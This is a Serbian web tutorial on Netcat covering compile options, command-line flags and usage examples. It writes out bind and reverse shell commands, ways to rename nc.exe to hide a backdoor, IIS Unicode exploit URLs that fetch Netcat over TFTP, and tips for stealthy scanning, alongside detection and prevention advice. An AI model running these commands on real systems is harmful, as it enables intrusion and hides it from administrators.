Glavna arrow Linux/Unix arrow Aplikacije arrow Netcat petak 25 jul 2008 
Sadrzaj
Glavna
Forum
Linux/Unix
Windows
Mreze
Sigurnost
Hardware
Knjige
Mobilni/PDA
Preuzimanje
Whois
Web Alati
Adresar
Galerija
Pretraga
E-mail
Kontakt
Pristup





Zaboravili ste lozinku?
Nemate nalog? Napravite nalog
 
samo po 1o1.com
po celom SCG web-u
Netcat | Štampaj |
Autor Tim 1o1   
Prosto govoreci, Netcat stvara i prihvata TCP (Transmission Control Protocol) i UDP (User Datagram Protocol) konekcije. To je to! Netcat pise i cita podatke preko ovih konekcija dok se one ne zatvore. To donosi osnovni TCP/UDP mrezni podsistem koji omogucava korisniku da manualno ili preko skripta vrsi interakciju sa mreznim aplikacijama i servisima na aplikativnom nivou. Omogucava nam da vidimo ciste TCP i UDP podatke pre nego sto oni budu umotani u sledeci visi nivo kao sto je FTP (File transfer Protocol), SMTP (Simple Mail Transfer Protocol) ili HTTP (Hypertext Transfer Protocol).
Netcat ne radi nista mastovito. Ne poseduje lep graficki interfejs (GUI) i ne izdaje svoje rezultate u privlacni izvestaj. On je grub, jednostavan i ruzan, ali zbog cinjenice da funkcionise na takvom osnovnom nivou omogucava sebi da bude koristan za mnostvo situacija. Iz cinjenice da sam Netcat ne donosi nuzno nikakve znacajne rezultate ukoliko se ne koristi u tandemu sa drugim alatima ili tehnikama, neiskusni korisnik mogao bi da previdi Netcat kao nista vise nego jedan hvaljeni telnet klijent. Drugi ne bi mogli da vide mogucnosti kroz argumente komandne linije, detaljno opisane u README fajlu.U svakom slucaju, cenicete cinjenicu kako Netcat moze biti jedan od najvrednijih alata u Vasem arsenalu.
Implementacija
Zato sto ima tako puno upotreba, Netcat se cesto poredi sa svajcarskim nozicem (eng. "Swiss army knife") za TCP/IP u UDP. Pre nego sto naucite da ga koristite, naravno, moracete da ga preuzmete (eng. download) sa mreze i instalirate.

Preuzimanje
Netcat se moze pronaci na dosta lokacija, mada mnoge Unix distribucije dolaze sa Netcat binarnim datotekama vec instaliranim, nije losa ideja da pronadete izvorni kod Netcat-a i sami ga kompajlirate. Po standardnom podesavanju, Netcat kode se ne kompajlira u nekoliko opcija koje biste zeleli. Preuzimanjem izvornog koda i pravljenjem izvrsne datoteke, mozete tacno odrediti koje cete Netcat mogucnosti imati na raspolaganju.
Zvanicni sajt za preuzimanje Netcata za Unix i Windows platforme je http: //www.atstake.eom /research/tools/.
Sa navedenog web sajta, preuzmite fajl ncl10.tgz. Onda treba da ga otpakujete:

[root@originix tmp]#
ls nc110.tgz
[root@originix tmp]# mkdir nc
[root@originix tmp]# cd nc
[root@originix tmp]# tar zxf ../nc110.tgz
[root@originix tmp]#


Sada ste spremni za kompajliranje. Slede dve opcije za kompajliranje koje su vazne:
-GAPING_SECURETY_HOLE Kao sto ime sugerise (otvorena bezbednosna rupa), ova opcija moze uciniti Netcat opasnim u pogresnim rukama, ali ga takode fini vrlo mocnim. Sa ovom opcijom ukljucenom, Netcat moze da okupira eksterni program. Ulaz/izlaz (1/0) tog programa ce teci kroz Netcat kanal podataka. Ovo omogucava Netcat-u da se ponasa kao lazni inetd alat, omogucavajuci Vam da izvrsite udaljene komande (kao sto je pokretanje Unix-ovog komandnog okruzenja-eng. shell) jednostavno stvarajuci TCP i UDP konekcije portu koji osluskuje. Ova opcija nije omogucena po unapred podesenom stanju jer postoji veliki potencijal za zloupotrebu i pogresnu podesenost. Medutim, pravilnom upotrebom, ova opcija moze biti kriticna.
-TELNET Uobicajeno, ako koristite Netcat za konekciju sa telnet serverom (koristeci: nc imeservera 23), necete stici daleko. Telnet serveri i klijenti se dogovore oko nekoliko opcija pre nego sto se prikaze odzivna linija za logovanje na sistem. Omogucavanjem ove opcije, Netcat moze odgovoriti ovim telnet opcijama (tako sto ce reci ne svakoj od njih) i omoguciti Vam da pristupite odzivnoj liniji za logovanje. Bez ove mogucnosti, morali biste pisanjem skripta da resite problem odgovaranja telnet opcijama ukoliko ste uopste zeleli da uradite nesto korisno sa Netcat-om i telnetom.

Verovatno niste svesni znacaja ovih opcija u ovom trenutku, ali videcete zasto smo ovo izneli kada vidite neke primere kasnije u ovom poglavlju.
Da biste omogucili obe ove opcije, moracete da dodate DFLAGS liniju na pocetku fajla koji se zove makefile.
# makefile for netcat, based off same ol' "generic makefile".
# Ususally do "make systype" - if your systype isn't defined, try "generic"
# or something else that most closely matches, see where it goes wrong, fix
#it, and MAIL THE DIFFS back to Hobbit.

Instalacija
Necemo pokriti detalje preuzimanja, otpakovanja i izgradnje vecine alata . Ali zbog cinjenice da Vas prvo upoznajemo sa Netcat-om i sto poseduje neke opcije prilikom kompajliranja koje bi mogle da Vas interesuju, bitno je da zavirimo u detalje.

### PREDEFINES
# DEFAULTS, possibly overridden by <systype> recursive call:
# pick gcc if you'd rather, and/or do -g instead of -0 if debugging # debugging
# DFLAGS = -DTEST -DDEBUG
DFLAGS = -DGAPGING_SECURETY_HOLE -DTELNET
CFLAGS = -0
Mozete ukljuciti jednu ili obe ove opcije u DFLAGS liniji. Ukoliko zelite da se poigrate sa primerima koji slede, moracete da ucinite ovu modifikaciju. Medutim, pre nego sto to ucinite, uverite se da ili posedujete sistem na kome radite ili da ste potpuno onemogucili pristup drugih korisnika do izvrsnog fajla koji cete upravo napraviti. Iako je dovoljo lako za druge korisnike da preuzmu sa mreze kopiju Netcat-a i naprave zavrsni fajl sa ovim opcijama, verovatno ne biste voleli da vidite kako Vam je sistem hakovan, jer je neko koristio Vasu "specijalno napravljenu" verziju Netcat-a kao tajni ulaz (eng. backdoor) u Vas sistem.
Sada ste spremni da izvrsite kompajliranje. Jednostavno otkucajte: make systemtype u odzivnoj liniji, gde je systemtype (dovoljno cudno) tip Unix-a koji koristite (koji moze biti: linux, freebsd, solaris itd.) Kada je gotovo, imacete srecni mali 'nc" binarni fajl koji se nalazi u direktorijumu.
Za korisnike Windows-a, Netcat fajl za preuzimanje (ncllnt.zip) takode dolazi i u izvornom kodu, ali zato sto vecina ljudi ne poseduje kompajlere na svojim Windows sistemima, izvrsna verzija je vec kompajlirana sa ove dve opcije standardno. Prema tome, jednostavno otpakujte fajl
i imate spreman "nc.exe".

Komandna linija
Osnovna komandna linija za Netcat je: nc <opcije> host ports, gde je host ime domena ili IP adresa za skeniranje i ports je ili jedan port, ili niz portova (oznacen "m-n") ili individualni portovi odvojeni blanko karakterima (eng. spaces). Sada skoro ste spremni da vidite neke zapanjujuce stvari koje mozete uraditi sa Netcat-om. Medutim prvo pogledajte detaljan pregled svake opcije komande linije da biste imali osnovno razumevanje mogucnosti:
-d Dostupna jedino na Windows-u, ova opcija stavija Netcat u skriveni mod, omogucavajuci mu da se podeli i radi nezavisno od kontrolne MS-DOS odzivne linije. Omogucava da Netcat radi u prislusnom modu bez potrebe da ga drzite u otvorenom komadnom prozoru. Takode pomaze hakeru da bolje sakrije pokrenuti Netcat od sistem administratora.
-e <command> Ukoliko je Netcat kompajliran sa GAPING_SECURITY HOLE opcijom, u prislusnom modu ce izvrsiti <command> kada neko napravi konekciju na port koji Netcat prisluskuje u tom trenutku, dok ce klijent Netcat proslediti podatke drugoj kopiji Netcat-a koja prisluluskuje. Koriscenje ove opcije je izuzetno opasno ukoliko neznate tacno sta radite. To je lak i brz nacin za postavljenje backdoor komandnog okruzenja na sistem (primeri slede).
-i <seconds> Vremenski interval koji je kolicina vremena koje Netcat saceka izmedu slanja podataka. Na primer kada se prosleduje fajl Netcat-u, on ce sacekati <seconds> sekundi pre nego sto posalje sledecu liniju ulaznih podataka. Kada koristite Netcat na vise portova na domenu, Netcat ce sacekati <seconds> sekundi pre nego sto kontaktira sledeci port u liniji. Ovo moze omogucîti korisnicima da stvore prenos podataka ili da napad na servis izgleda manje po skriptu i tako zadrzati Vase skeniranje portova van domasaja radara nekog sistema za detekciju upada i sistem administratora.
-g <route-list> Koriscenje ove opcije moze biti lukavo. Netcat podrzava labavo rutiranje izvora (objasnjeno kasnije u sekciji "Smestite prijatelju: IP varanje"). Mozete naznaciti do osam -g opcija u komandnoj liniji da biste primorali Netcat saobracaj da prolazi preko odredenih IP adresa, sto je korisno ukoliko skrivate IP adresu izvora Vasih podataka (u pokusaju da zaobidete filter mrezne blokade ili liste adresa kojima je dozvoljen pristup) i zelite da primite odziv sa domena. Rutiranje izvora preko masine nad kojom imate kontrolu, mozete naterati pakete podataka da se vrate Vasoj adresi umesto da zavrse na pravoj destinaciji. Imajte na umu da ovo uglavnom nece raditi, jer vecna rutera ignorise opciju rutiranja izvora i vecina filtera portova i mreznih blokada prave log Vasih pokusaja.
-G <hop pointer> Ova opcija Vam omogucava da uticete na to koja IP adresa u Vasoj -g listi ruta je trenutno sledeca. Iz razloga sto su IP adrese 4 bajta u velicini, ovaj argument se uvek javlja u umnoscima broja 4, gde se 4 odnosi na prvu IP adresu u rut listi, 8 na drugu itd. Ovo je korisno ako zelite da falsifikujete delove rut liste izvora da ucinite da izgleda kao da dolazi sa nekog drugog mesta. Stavljajuci lazne adrese na prva dva mesta u Vasoj -g listi i postavljanjem skok pointera -g opcijom na 12, paket ce biti usmeren pravo ka trecoj IP adresi u Vasoj rut listi. Stvarni sadrzaj paket ce, inace, jos uvek sadrzati lazne IP adrese, cineci da izgleda kao da je paket stigao sa jedne lokacije iako je u stvari sa neke druge. Ovo moze pomoci da maskirate odakle dolazite kada vrsite prikrivanje IP adrese i rutiranje izvora, ali necete nuzno biti u mogucnosti da primite odziv jer ce pokusati da preokrene rutu preko Vase falsifikovane IP adrese.
-I Ova opcija ukljucuje i iskljucuje Netcat-ov "prislusni" mod. Ova opcija mora biti koriscena zajedno sa - p opcijom da bi uputili Netcat da se veze za bilo koji TCP port koji naznacite i da ceka dolazece konekcije. Dodajte -u opciju da biste koristili UDP portove umesto TCP.
-L Ova opcija, dostupna jedino u Windows verzijama, je jaca "prislusna" opcija nego -l. Ona nalaze Netcat-u da restartuje prislusni mod sa istim opcijama komandne linije posle zatvaranja konekcije. Ovo omogucava Netcat-u da prihvati buduce konekcije bez intervencije korisnika, cak iako je Vasa inicajlna konekcija zavrsena. Kao i -l, takode zahteva - p opciju.
-n Upucuje Netcat da ne vrsi bilo kakvu pretragu imena domena. Ako koristite ovu opciju na komandnoj liniji, uverite se da ne naznacite bilo koje ime domena kao argument.
-o <hexfile> Vrsi pretvaranje podataka u heksadecimalni kod i prebacuje ih u <hexfile >. Komanda nc -o hexfile snima protok podataka u oba smera i zapocinje svaku liniju sa < ili > da bi se naznacili dolazeci i odlazeci podaci respektivno. Da biste dobili samo hex zapis samo dolazecih podataka, koristili biste komandu nc -o <hexfile, i obrnuto, za odlazeci nc -o >hexfile.
-p <port> Omogucava Vam da naznacite broj lokalnog porta koji ce Netcat koristiti. Ovaj argument je neophodan kada koristite -i ili -L opcije za prislusni mod. Ako nije naznaceno za odlazece konekcije, Netcat ce koristit bilo koji port koji dobije od sistema, bas kao i vecina drugih TCP i UDP klijenta. lmajte na umu da na Unix-u jedino root korsnici mogu naznaciti koriscenje broja porta ispod 1024.
-r Netcat bira lokalni ili udaljeni port. Ovo je korisno kada koristite Netcat da dobijete informacije o velikom opsegu portova na sistemu i zelite da pomesate red i izvornih i destinacionih portova da biste ucinili da manje izgleda kao skeniranje portova. Kad se ova opcija koristi zajedno sa -i opcijom i dovoljno velikim intervalom, port skeniranje ima jos vece sanse da prode nezapazeno osim ukoliko sistem administrator pazljivo i detaljno pregledava logove.
-s Naznacava izvornu IP adresu koju Netcat treba da koristi kada stvara svoje konekcije. Ova opcija omogucava hakerima da rade neke vrlo podle trikove. Prvo, omogucava im da sakriju svoju ili falsifikuju tudu.IP adresu, ali da bi preusmerili bilo koju informaciju preko lazirane adrese, morali bi da koriste -g opciju za rutiranje izvora. Drugo, kada je u prislusnom modu, mnogo puta se mozete "prikaciti" ispred servisa koji se vec prisluskuje. Svi TCP i UDP servisi se vezuju za port, ali se nece svi vezati i za odredenu IP adresu. Mnogi servisi po unapred definisanom stanju prisluskuju sve dostupne interfejse. Syslog, na primer, osluskuje UDP port 514 za syslog saobracaj. Medutim, ako pokrenete Netcat da osluskuje port 514 i upotrebite - s opciju da naznacite izvornu IP adresu, sav saobracaj ka toj naznacenoj IP adresi ce otici prvo ka Netcat-u koji osluskuje! Zasto? Ukoliko soket (sistemski interfejs za implementaciju TCP/IP saobracaja) odredi i port i IP adresu, dobija prioritet nad soketima koje se nisu vezali za specificnu IP adresu. O tome cemo detaljnije govoriti kasnije (vidite deo "Otimanje servisa") i pokazati Vam kako da raspoznate na koji servis se moze prikaciti.
-t Ako se kompajlira sa TELNET opcijom, Netcat ce biti u mogucnosti da obraduje pregovor telnet opcija sa telnet serverom, odgovarajuci sa beznacajnim informacijama, ali Vam omogucava login odzivnu liniju koju ste veorvatno i trazili koristeci Netcat za konekciju na TCP port 23.
-u Nalaze Netcat-u da koristi UDP umesto TCP-a. Funkcionise i u klient i u prislusnom modu.
-v Kontrolise koliko Vam Netcat govori o tome sta radi. Ne koristite -v, i Netcat ce samo izbaciti podatke koje prima. Jedno -v ce Vam omoguciti da znate na koju adresu se povezuje ili konektuje i ako se javi neki problem. Dva -v Vas obavestava koliko podataka je poslato i primljeno na kraju konekcije.
-w <seconds> Kontrolise koliko ce Netcat cekati pre nego sto odustane od konekcije. Takode govori Netcat-u koliko dugo da ceka posle posle primanja EOF (end-of-file- kraja fajla) preko standardnog ulaza i zatvaranja konekcije i izlaza. Ovo je bitno ukoliko saljete komandu kroz Netcat udaljenom serveru i ocekujete veliku kolicinu podataka u povratku (na primer, slanje HTTP komande serveru za preuzimanje velikog fajla).
-z Ukoliko Vas interesuje koji portovi su otvoreni, verovatno biste trebali koristiti nmap Ali, ova opcija nalaze Netcat-u da salje samo onoliko podataka da bi otkrio koji portovi u Vasem naznacenom opsegu stvarno imaju nesto sto ih osluskuje.
Sada, kada imate predstavu o mogucnostima Netcat-a, pogledajte neke realne prakticne primere iz upotrebe ovog alata.


101 upotreba Netcat-a
Ljudi tvrde da su otkrili stotine nacina za upotrebu Netcat-a u dnevnim poslovima. Neki od ovih zadataka su slicni, razlikujuci se vrlo malo. Pokusali smo da Vam predstavimo nekoliko koji, kao i Netcat, su opsti i pokrivaju najsire podrucje. Evo onih primera za koje smatramo da su najvazniji.

Pribavijanje udaljenog pristupa komandnom okruzenju
Zar ne biste zeleli da mozete da dobijete DOS odzivnu liniju od kuce, bilo gde u svetu? Pokretanjem komande nc. exe -1 - p 4455 - e cmd.exe iz DOS odzivne linije na NT ili Windows 2000 sistemu, svako ko se telnetom poveze na taj sistem preko porta 4455, naici ce na DOS komandno okruzenje cak i bez potrebe da su uloguje.

[root@originx /root]# telnet 192.168.1.101 4455 Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '"]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>
Connection closed by foreign host.
[root@originix /root]#
Vrlo jednostavno, zar ne? Ali je takode i dosta zastrasujuce. Bez mnogo truda, obezbedili ste odzivnu liniju na sistemu. Medutim, na Windows NT i 2000 sistemima, imacete iste pristupe i priviliegije kao i korisnik koji je pokrenuo Netcat. Upad na ovaj nacin u Windows 95 i 98 (koristeci command.com umesto cmd.exe) ce Vam dati kontrolu nad celim sistemom. Ovo pokazuje kako Netcat moze biti opasan u pogresnim rukama.

Hajde da malo razradimo ovu komandu. Imajte na umu da ce Netcat raditi unutar DOS prozora koji inicajlno pokrenut. Ovo znaci da kontrolni DOS prozor treba da ostane otvoren dok Netcat radi. Koristeci -d opciju da ga odvojite od komandnog prozora treba da omoguci Netcat-u da nastavi sa radom cak i posle zatvaranja komandnog prozora.

C:>nc.exe -1 -p 4455 -d -e cmd.exe
Ovo bolje zavrsava posao skrivanja Netcat bekdora. Medutim, ako se neko telnetom poveze na port 4455, cim pre taj korisnik okonca konekciju, Netcat ce po standardnoj podesenosti misliti da je zavrsio i zaustavice osluskivanje. Koristite - L opciju umesto -1 da biste mu nalozili da osluskuje jace (nastavi da osluskujes i ponovo pocni sa istom komandnom linijom posle zavrsetka pve konverzacije).

/C:>nc.exe -p 4455 -d -L -e cmd.exe
Ovo moze omoguciti hakeru povratak u sistem dok sistem administrator ne uoci bekdor videvsi pokrenuti nc.exe u task menadzeru. Haker moze ovo imati na umu i preimenovati nc.exe u nesto drugo.

C:>move nc.exe c:WindowsSystem32Driversupdate.exe
C:>WindowsSystem32Driversupdate.exe -p 4455 -d -L -e cmd.exe

Sistem administratoru moze promaci nesto bezopasno kao update.exe-sto moze biti bilo sta. Haker isto tako moze sakriti i komandnu liniju. Jos jedna osobina Netcat-a je da ako ga pokrenete bez komandne linije on ce sam zatraziti opcije komandne linije na prvoj linije standardnog ulaza:

C:>WindowsSystem32Driversupdate.exe
Cmd line: -1 -p 4455 -d -L -e cmd.exe
C:>

Sada, ako sistem administrator pokrene poverljivu komandu netstat -a -n u DOS promptu, primetice da je nesto pokrenuto na dosta cudnom portu, telnetom ce povezati na taj port i otkriti trik. Medutim, Windows koristi nekoliko slucajno odabranih portova za razlicite razloge pa netstat-ov izlaz moze oduzeti dragoceno vreme za analizu, narocito na sistemima sa puno aktivnosti.
Hakeri mogu probati drugaciji pristup. Ako se infiltriraju na Citrix server, na primer, kojem pristupaju nekoliko korisnika koji surfuju Web-om, treba ocekivati dosta DNS (Domain Name System) zahteva i Web konekcija. Pokretanje netstat -a -n ce otkriti puno odlazecih TCP konekcija na port 80. Umesto da pokrenete Netcat u prislusnom modu na sistemu i cekate na konekcije, Netcat moze proslediti ulaz/izlaz cmd.exe programa drugoj pokrenutoj kopiji Netcat-a koja osluskuje na udaljenom sistemu na portu 80. Na svom kraju, haker treba da pokrene:

root@originix /root]# nc -1 -p 80
Sa Windows sistema haker moze pametno "sakriti" Netcat ponovo, i proslediti sledece komande:
C:>mkdir C:WindowsSystem32Driversq
C:>move nc.exe C:WindowsSystem32Driversqiexplore.exe
C:>cd WindowsSystem32Driversq
C:WINDOWSSystem32DRIVERSq>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:WindowsSystem32DRIVERSq>
Sada bi prisluskujuci Netcat trebao podicî komandno okruzenje sa Windows masine. Ovo moze zavrsiti bolji posao sakrivanja bekdora od sistem administratora. Na prvi pogled, konekcije ce izgledati bas kao Internet Explorer koji stvara tipicne HTTP konekcije. Jedina mana za hakera je to sto posle zatvaranja komandnog okruzenja, ne postoji nacin da ga ponovo pokrenete na Windows strani.
Postoji nekoliko nacina na koje sistem administrator moze otkriti infiltraciju prljavog Netcat-a:

-Koristecï alat za pretragu fajlova u Windows-u i trazeci sve fajlove koji sadrze tekst ,listen mode" ili "inbound connects". Svi izvrsni fajlovi koji se pojave mogu biti Netcat.

-Proveriti task menadzer za bilo koji prljavi cmd.exe fajl. Ukoliko haker nije preimenovao cmd.exe, mozete ga takode otkriti dok koristi udaljeno komandno okruzenje jet ce cmd.exe biti pokrenut iz razloga koji je Vama nepoznat.

-Koristeci netstat komand da bi video koji se portovi trenutno koriste i koje aplikacije ih koriste. Inace, budite oprezni sa netstatom. Netstat moze lako biti zamenjen sa "trojan" verzijom programa koja je specijalno napravljena da bi haker prikrio odredenu aktivnost. Takode, netstat nekada nece prijaviti osluskujuci TCP soket dok nesto nije povezano na njega.
Upravo ste videli dva razlicita nacina da dobijete udaljeno komandno okruzenje na Windows sistemu. Ocigledno, neki drugi faktori koji mogu da uticu na uspeh sa obe metode ukljucuju srednje zastitne barijere, port filtere ili proxy servere koji zapravo filtriraju HTTP zaglavlja (samo da imenujemo nekoliko).
Posebno ova upotreba Netcata je bila pokretacka snaga nekih popularnih exploita IIS-a (Internet Informatio Server) 4.0 Microsoft Data Access Components (MDAC) i Unicode osetljivosti. Nekoliko varijacija postoji, ali u svim slucajevima exploiti koriste ove slabosti, koje omugacavaju bilo kome da komande na sistemu kao IIS korisniku koristeci specijalno kreirane URL-ove. Ovi exploiti mogu iskoristiti program kaosto je Trivial File Transfer Protocol (TFTP) ako je instaliran, prebaciti nc.exe sa udaljenog sistema na kome je pokrenut TFTP server, pokrenuti jednu od bekdor komandi. Evo URL-a u pokusaju da iskoristi TFTP za preuzimanje Netcat-a sa udaljene lokacije koristeci exploit Unicode osetljivosti:

http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20 i%20originx&20GET%20update.exe

Ukoliko je uspesna, ova komanda ce efektivno smestiti Netcat na 10.10.0.1 u Interpub poddirektorijum direktorijuma Scripts kao update.exe. Haker onda moze pokrenuti Netcat koristeci drugi URL:

http://10.10.0.1/scripts/../%ci/pc/../inetpub/scripts/update.exe?-l%20-d%20L%20-p%20443%20-e%20cmd.exe

Povezivanje telnetom na sistem preko porta 443 treba da obezbedi komandni prompt. Ovo je efektan i jednostavan napad i cak moze biti izvrsen skriptom i automatizovan. Medutim, ovaj pristup ostavlja tragove iza sebe. Pre svega, svi URL koji su korisceni bice smesteni u IIS logovima. Pretrazivanjem IIS logova za tftp ce otkriti da li je neko pokusavao ovaj napad. Takode, vecina aktuelnih IDS verzija ce traziti URL-ove formatirane na ovaj nacin (t.j. URL sadrzi cmd.exe ili specijalne Unicode karaktere). Postoji nekoliko nacina kojima mozete izvrsiti prevenciju napada ovog tipa.
-Obezbedite da IIS koristi najnoviji sigurnosni paket.
-Blokirajte odlazece konekcije sa Vaseg web servera na mreznoj barijeri (firewall). U vecmi slucajeva Vas web server ne bi trebao da inicira konekcije ka ostatku sveta. Cak iako je IIS osetljiv, TFTP ce propasti jer nece biti u mogucnosti da se poveze sa TFTP serverom napadaca.

Pritajeno skeniranje portova (nalik coveku)
Iz razloga sto Netcat moze da pregovara sa opsegom portova, dosta ocigledna primena bi bila kao port skener. Vasa prva ideja bi bila da Netcat povezete sa mnostvo portova na ciljnom hostu:

[root@originx nc]# ./nc target 20-80
Ali, ovo nece raditi. Upamtite da Netcat nije specificno port skener. U ovoj situaciji, Netcat bi poceo kod porta 80 i pokusava TCP konekcije dok nesto ne odgovori. Cim dobije odgovor, Netcat bi cekao na standardni ulaz pre nego sto nastavi. Ovo nije ono sto nam treba.
Resenje je -z opcija. Ova opcija nalaze Netcat-u da salje minimalnu kolicinu podataka da bi dobila odgovor s otvorenog porta. Kada se koristi - z mode, nemate mogucnost opcije prenosa bilo kakvog ulaza ka Netcat-u (pa i sama opcija glasi "Nula I/O mod" , nula-eng. zero i odatle -z), a takode necete videti ni izlaz. Posto Vam -v opcija uvek daje detalje o konekciji koje Netcat pravi, mozete je koristiti da vidite rezultat skeniranja portova. Bez nje...pa... necete videti nista kao sto mozete primetiti ovde:

[root@originix nc]# ./nc -z 192.168.1.100 20-80
[root@originix nc]# ./nc -v -z 192.168.1.100 20-80
originix [192.168.1.100] 80 (www) open
originix [192.168.1.100] 23 (telnet)
open originix [192.168.1.100] 22 (ssh) open
originix [192.168.1.100] 21 (ftp) open
[root@originix nc]#
Posle upotrebe -v opcije, mozete videti nesto sumnjivo izmedu portova 20 i 80. Kako ovo izgleda u syslog-u?

Feb 12 03:50:23 originix sshd[21690]: Did not recive ident string from 192.168.1.105.
Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe Feb 12 03:50:23 originix ftpd[21691]: FTP session closed

Primeticete kako su se svi dogadaji dogodili u isto vreme i sa inkrementima protes ID-a (21689 do 21691). Zamislite da ste skenirali sirok opseg portova. Krajnji ishod bi bio dosta veliki trag. A neki servisi, cak su i toliko drski da odaju IP adresu skenera.
Cak iako skenirate portove na kojima nista nije aktivno (i zbog toga ne zavrsite u hostovom syslog-u), vecina mreza poseduje sistem detekcije upada koji ce odmah oznaciti ovaj oblik ponasanja i privuci paznju administratora. Neke aplikacije mreznih barijera ce automatski blokirati IP adresu sa koje prime previse konekcija u kratkom vremenskom periodu.
Netcat omogucava nacine da ucinite skeniranje nesto diskretnijim. Mozete koristiti - i opciju da namestite interval izmedu prenosa podataka. Duze ce trajati dobijanje informacija, ali su vece sanse da skeniranje promakne radaru. Upotreba - r opcije da izmesate redosled po kome Netcat skenira portove ce takode pomoci da skeniranje manje ili na skeniranje portova:

./nc -v -z -r -i 42 192.168.1.00 20-80
Ovim kazete Netcat-u da sucajno izabere portove izmedu 20 i 80 na 192.168.1.100 i pokusa da se poveze na njih svakih 42 sekunde. Ovo ce definitivno promaci bilo kojoj automatizovanoj odbrani, ali ce dokaz skeniranje jos uvek biti na logovima cilja; bice samo rasejaniji.
Mozete raditi isti nacin prikrivenog skeniranja portova koristeci i UDP. Jednostavno dodajte -u komandnoj liniji za pregled UDP umesto TCP portova.

Netcat nije najsofisticiraniji alat za upotrebu u port skeniranju. Zato sto se moze koristiti za mnoge opste namene umesto da izvrsava jedan zadatak izuzetno dobro, mozda bi bilo bolje da koristite port skener koji je specijalno napisan za tu svrhu.


Identifikujte se: servisi prosipaju svoje utrobe
Posle upotrebe Netcat-a ili posvecenog port-skener alata kao sto je nmap da biste utvrdili koji portovi su otvoreni na sistemu, mozda biste zeleli da budete u mogucnosti da dobijete jos informacija o tim portovima. To obicno mozete postici konektovanjem na port; servis ce odmah izbaciti broj verzije, datum stvaranja i mozda i operativnog sistema na kome lezi sistem. Stoga, trebali biste biti u mogucnosti da koristite Netcat za skeniranje odredenog opsega portova i formiranja izvestaja o ovim servisima.
Imajte na umu, mada, da biste automatizovali Netcat, morate obezbediti ulaz za komandnu liniju kako ne bi bio blokiran cekajuci na standardan unos od korisnika. Ukoliko prosto pokrenete: nc 192.168.1.100 20-80, necete otkriti mnogo, jer ce se blokirati na prvoj konekciji (verovatno web server koji slusa port 80) i onda ce cekati na Vasu reakciju. Zato morate da smislite nesto da bi ste odgovorili na sve ove servise kako bi ih ubedili da nam kazu nesto vise o sebi. Kako ispada, govoreci servisima da prekinu (eng. QUIT) stvarno ih dovodi do zabune, i u procesu oni ce otvoriti svoje duse.
Hajde da probamo protiv portova 21 (FTP), 22 (SSH-Secure Shell-obezbedi komandno okruzenje) i porta 80 (HTTP) i videti sta ce nam serveri reci.

[root@originix nc]# echo QUIT I ./nc -v 192.168.1.100 21 22 80
originix [192.168.1.1001 21 (ftp) open
220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready.
221 Goodbye.
originix [192.168.1.100] 22 (ssh) open SSH-2.0-OpenSSH 2.3.Opl Protocol mismatch.
originix [192.168.1.100] 80 (www) open
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY>
<H1>Method Not Implemented</H1>
QUIT to /index.html not supported.<P> Invalid method in request QUIT<P> <HR>
<ADRESS>Apache/1.3.14 Server at 127.0.0.1 Port 80</ADRESS> </BODY></HTML>
[root@originix nc]#


Izlaz nije lep, ali sada znamo verzije ova tri servisa. Haker moze koristiti ovo da potrazi starije verzije servisa koji su osetljivi na exploite (http: //www.securityfocus.com/ je odlicno mesto gde mozete nacî informacije o osetljivim verzijama servisa). Haker koji pronade posebno interesantan port mogao bi da dobije jos i vise informacija fokusirajuci se na te servise i pokusavajuci da govori njihovim jezikom.
Hajde da se fokusiramo na Apache Web server. QUIT nije komanda koju taj HTTP razume. Pokusajmo da mu kazemo nesto sto bi mogao shvatiti.
[root@originix nc]# ./nc -v 192.168.1.100 80
originix [192.168.1.100] 80 (www) open GET / HTTP
HTTP/1.1 200 OK
Date: Tue, 12 Feb 2002 09:43:07 GMT
Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
Last-Modified: Sat, 05 Aug 2000 04:39:51GMT
ETag: "3x107-24-398b9a97" Accept-Ranges: bytes
Content-Length: 36 Connection: close
Content-Type: text/html
I dont think you meant go here.
[root@originix nc]#

Sto je ovo fino! Razmenili smo malo osnovnog HTTP-a (postavljajuci GET / HTTP komandu i onda pritiskanjem ENTER dva puta) i Apache je odgovorio. Omogucio nam je da vidimo osnovnu index.html stranu sa svim HTTP zaglavljima netaknutim i bez interpretacija na nivou aplikacija sto bi inace Web pretrazivac ucinio. A Server zaglavlje nam govori ne samo da radi Apache na Linux sistemu, nego da radi na RedHat Linux sistemu.

Komunikacija sa UDP uslugama
Pomenuli smo kako je ponekad Netcat predviden kao nista vise do jedan slavljeni telnet klijent. Mada je tacno da vecina stvari koje Netcat radi (kao sto je razmena HTTP-a direktno sa serverom) moze biti zavrsena koristeci telnet, telnet poseduje puno limitacija koje Netcat nema. Pre svega, telnet ne moze vrsiti dobro transfer binarnih podataka. Neke od podataka ne moze interpretirati kao telnet opcije. Zato, telnet Vam ne nudi stvarno transportni sloj cistih podataka. Drugo, telnet zatvara konekciju cim njegov ulaz dostigne EOF. Netcat ce ostati otvoren dok se mrezna strana ne zatvori, sto je korisno za upotrebu skripta u inicijaciji konekcija koje ocekuju velike kolicine primljenih podataka kada salju samo jednu liniju ulaza. Medutim, verovatno najbolja osobina Netcat-a koju ima nad telnet-om je da Netcat govori UDP.
Sanse su da ste pokrenuli syslog demon na Vasem UNIX sistemu-zar ne? Ako je Vas syslog konfigurisan da prima poruke sa drugih hostova na Vasoj mrezi, videcete nesto na UDP portu 514 kada postavite: netstat -a -n komandu. (Ukoliko ne, pogledajte syslogd man stranu o tome kako da pokrenete syslog u mreznom modu). Jedan od nacina da utvrdite da li syslog prihvata UDP pakete je da pokusate ga da pratite i onda vidite da li se nesto pojavljuje u logu:

[root@originix nc]# echo "<0>I can speak syslog" | ./nc -u 192.168.1.100 514

Message from syslogd@originix at Tue Feb 12 06:07:48 2002 ... originix I can speak syslog
punt!
[root@originix nc]#
